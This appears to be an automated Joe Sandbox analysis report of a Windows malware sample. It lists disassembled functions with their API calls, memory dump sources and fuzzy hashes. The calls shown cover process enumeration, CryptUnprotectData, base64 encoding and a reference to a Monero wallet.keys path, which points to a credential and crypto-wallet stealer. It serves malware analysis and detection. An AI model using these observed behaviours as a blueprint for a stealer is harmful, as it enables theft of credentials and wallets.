Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 3964cfe8a6421d7aadd6a77f66bef605b343678a7d81cbe77b3704a62e802fd3
Instruction ID: ab871ec6e242cce298e682b84531c58151a895b2a592058b376bdfddb407f80e
Opcode Fuzzy Hash: 3964cfe8a6421d7aadd6a77f66bef605b343678a7d81cbe77b3704a62e802fd3
Instruction Fuzzy Hash: 6C010CB5B41208FBEB20DFD4CD4AF9E77B8AB44B04F104154FB45BB2C4D6B5AA018B65

Function 00EA9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EA961E
Process32First.KERNEL32(00EB0ACA,00000128), ref: 00EA9632
Process32Next.KERNEL32(00EB0ACA,00000128), ref: 00EA9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00EA965C
CloseHandle.KERNEL32(00EB0ACA), ref: 00EA967A

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 77fd580ba242cb1b35466940c166e0592d5638c44283c4f6e93460521f106422
Instruction ID: 64eebb157980174a0e03a1c9703ebfe14fa00c579cdb341b039535bd98e5e292
Opcode Fuzzy Hash: 77fd580ba242cb1b35466940c166e0592d5638c44283c4f6e93460521f106422
Instruction Fuzzy Hash: 90011E75A01208EBCB24DFA5C949BEEB7F8FF4C300F104188A946A7240DB79AB44DF50

Function 0124DA86 Relevance: 6.6, Strings: 4, Instructions: 1642COMMON

Download Yara Rule

Strings

p=7, xrefs: 0124E935
\Ck, xrefs: 0124E2B3
V^i, xrefs: 0124DFC1
~(__, xrefs: 0124DF03

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \Ck$~(__$V^i$p=7
API String ID: 0-3830310955
Opcode ID: 7451656a09fb527fa2470bec95868deda58bbedb2eda7f0a92fbc429de82b191
Instruction ID: f902c3dbe1089b3f9917050eab93af422ec548aeaf82b47592ca562ade33de6c
Opcode Fuzzy Hash: 7451656a09fb527fa2470bec95868deda58bbedb2eda7f0a92fbc429de82b191
Instruction Fuzzy Hash: E0B22AF3A0C3049FE3046E2DEC8567ABBE5EB94720F1A853DEAC5C3744E63558058697

Function 01257EBF Relevance: 6.6, Strings: 4, Instructions: 1596COMMON

Download Yara Rule

Strings

avy{, xrefs: 012581C5
cB_5, xrefs: 01258531
6:yd, xrefs: 01258AF6
A'w, xrefs: 01258672

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6:yd$A'w$avy{$cB_5
API String ID: 0-3698643419
Opcode ID: bc9f6d101ef9d847d2f46e080798118a988d11864953ba40f65e5efb73b7a5c2
Instruction ID: 4a3f69fdad67bc84f4a07aca13bb4ff5f1cc5555db2a485cde6e8eaecc3711cd
Opcode Fuzzy Hash: bc9f6d101ef9d847d2f46e080798118a988d11864953ba40f65e5efb73b7a5c2
Instruction Fuzzy Hash: 78B228F3A0C204AFE3046E2DEC8567ABBE5EFD4720F16893DEAC483744E63558148697

Function 0124BF92 Relevance: 6.6, Strings: 4, Instructions: 1594COMMON

Download Yara Rule

Strings

1h, xrefs: 0124C505
~i, xrefs: 0124C125
k~?, xrefs: 0124CAA2
/!~v, xrefs: 0124C35D

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /!~v$1h$k~?$~i
API String ID: 0-3587686430
Opcode ID: 9361c487c8b714edd57992b6db1da2b6bac8e871e6b2b7aed9cf34cfee7b3c7f
Instruction ID: 4a2c79f69d30b4e44fc4e1967f5bc6690a9ec2943da10e9665026e921a6b6d2b
Opcode Fuzzy Hash: 9361c487c8b714edd57992b6db1da2b6bac8e871e6b2b7aed9cf34cfee7b3c7f
Instruction Fuzzy Hash: C8B206F3A0C2049FE304AE2DEC4567ABBE5EF94720F1A492DEAC5C7744E63598048797

Function 0125990A Relevance: 6.6, Strings: 4, Instructions: 1573COMMON

Download Yara Rule

Strings

C@., xrefs: 01259A68
;y_, xrefs: 0125AAE2
8@}7, xrefs: 0125A325
.q, xrefs: 0125A0F4

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .q$8@}7$;y_$C@.
API String ID: 0-439953366
Opcode ID: bc84d4f6ec674297bddc4f501f541ff1ad0aa413b069c8e17e7e4a80e887685a
Instruction ID: 41df264b21ae9d9380cf4fb659b6c4c4048893ee3d11950ff6dbf3187bcca493
Opcode Fuzzy Hash: bc84d4f6ec674297bddc4f501f541ff1ad0aa413b069c8e17e7e4a80e887685a
Instruction Fuzzy Hash: 86B2E6F360C2049FE3046E2DEC8577ABBE9EF94720F1A493DEAC4C7744EA3558058696

Function 00EA8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00EB05B7), ref: 00EA86CA
Process32First.KERNEL32(?,00000128), ref: 00EA86DE
Process32Next.KERNEL32(?,00000128), ref: 00EA86F3

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

CloseHandle.KERNEL32(?), ref: 00EA8761

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 147c703fb462a554056447fa7714758cfca3a3ce809607c365e53793c8108103
Instruction ID: 30187c8b16837fdd927353d686a3452b2a511bc12135e9a6141fa2a56672fd90
Opcode Fuzzy Hash: 147c703fb462a554056447fa7714758cfca3a3ce809607c365e53793c8108103
Instruction Fuzzy Hash: D9314B71901218EBCB68DF54DC45FEEB7B8EB4A700F1051AAF50ABA190DB347A45CFA1

Function 00EA8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00E95184,40000001,00000000,00000000,?,00E95184), ref: 00EA8EC0

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: d8ae073219b4f7dbacc430225eb8de1eaa3bc3813d9d06ee6833aee38eec3a47
Instruction ID: 29ecc60fa1111aa87901a832d7ef614b78f253f9e9d63dd278156d9338de7a47
Opcode Fuzzy Hash: d8ae073219b4f7dbacc430225eb8de1eaa3bc3813d9d06ee6833aee38eec3a47
Instruction Fuzzy Hash: 6411DF74200209EFDB04CFA4E985AAA37A9AB8A314F10A448FD199B240EB35B841DB60

Function 00EA7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00EB0E00,00000000,?), ref: 00EA79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00EA79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00EB0E00,00000000,?), ref: 00EA79C4
wsprintfA.USER32 ref: 00EA79F3

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 940b6bd5134805ce1420501ec1ebfbfa74b8f8d624a24e498fd96b475f6fdb63
Instruction ID: 910988b605e9634a1f01c620fa146efc2aedf463e489d2b4a35bf89b1a93aa33
Opcode Fuzzy Hash: 940b6bd5134805ce1420501ec1ebfbfa74b8f8d624a24e498fd96b475f6fdb63
Instruction Fuzzy Hash: 6B1118B2A04118EACB14DFC9D945BBEB7F8EB4CB11F10411AFA45A2284D2395940C7B0

Function 00EA7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00BBF368,00000000,?,00EB0E10,00000000,?,00000000,00000000), ref: 00EA7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00EA7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00BBF368,00000000,?,00EB0E10,00000000,?,00000000,00000000,?), ref: 00EA7A7D
wsprintfA.USER32 ref: 00EA7AB7

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 0d04cf1127004c473777090fa7133790945858eeae40df95b349bb23329a9b32
Instruction ID: 5663b8283a9b9bc171ecd07f4c9606610c3716002a237a317ee7153003e4d31b
Opcode Fuzzy Hash: 0d04cf1127004c473777090fa7133790945858eeae40df95b349bb23329a9b32
Instruction Fuzzy Hash: 2B1182B1A46228EBDB20CF54DC45F9AB778FB05721F104395E906A72C0C7792E40CF50

Function 01263912 Relevance: 5.4, Strings: 3, Instructions: 1635COMMON

Download Yara Rule

Strings

B r, xrefs: 012641EF
$v;, xrefs: 01264430
S0l, xrefs: 0126395A

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: B r$S0l$$v;
API String ID: 0-4052388050
Opcode ID: 1dca273c1c4aab5554af464f4eff3398b1b304f03e68ca3ce5b65b36a792fc8a
Instruction ID: 171a6da25626e9e8e0f6f7b3f956e2eddc4fe44dadba039e65a50937dca6aea9
Opcode Fuzzy Hash: 1dca273c1c4aab5554af464f4eff3398b1b304f03e68ca3ce5b65b36a792fc8a
Instruction Fuzzy Hash: 94B2E7F360C204AFE304AE2DEC8567ABBE9EF94720F1A453DE6C4C7744E63598058696

Function 00EA3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00EAE118,00000000,00000001,00EAE108,00000000), ref: 00EA3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00EA37B0

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: cfa89f57cc27bc489f89598d536cedb6feb088a55a6f65056ba462d9f43ce28c
Instruction ID: 8d07c3ff0eab151b75f6a6b6e40e9c49a988fe182ce5b504481d34afd8356f78
Opcode Fuzzy Hash: cfa89f57cc27bc489f89598d536cedb6feb088a55a6f65056ba462d9f43ce28c
Instruction Fuzzy Hash: 9641F870A00A289FDB24DB58CC95B9BB7B5BB49702F4051D8F609EB2D0D7716E85CF50

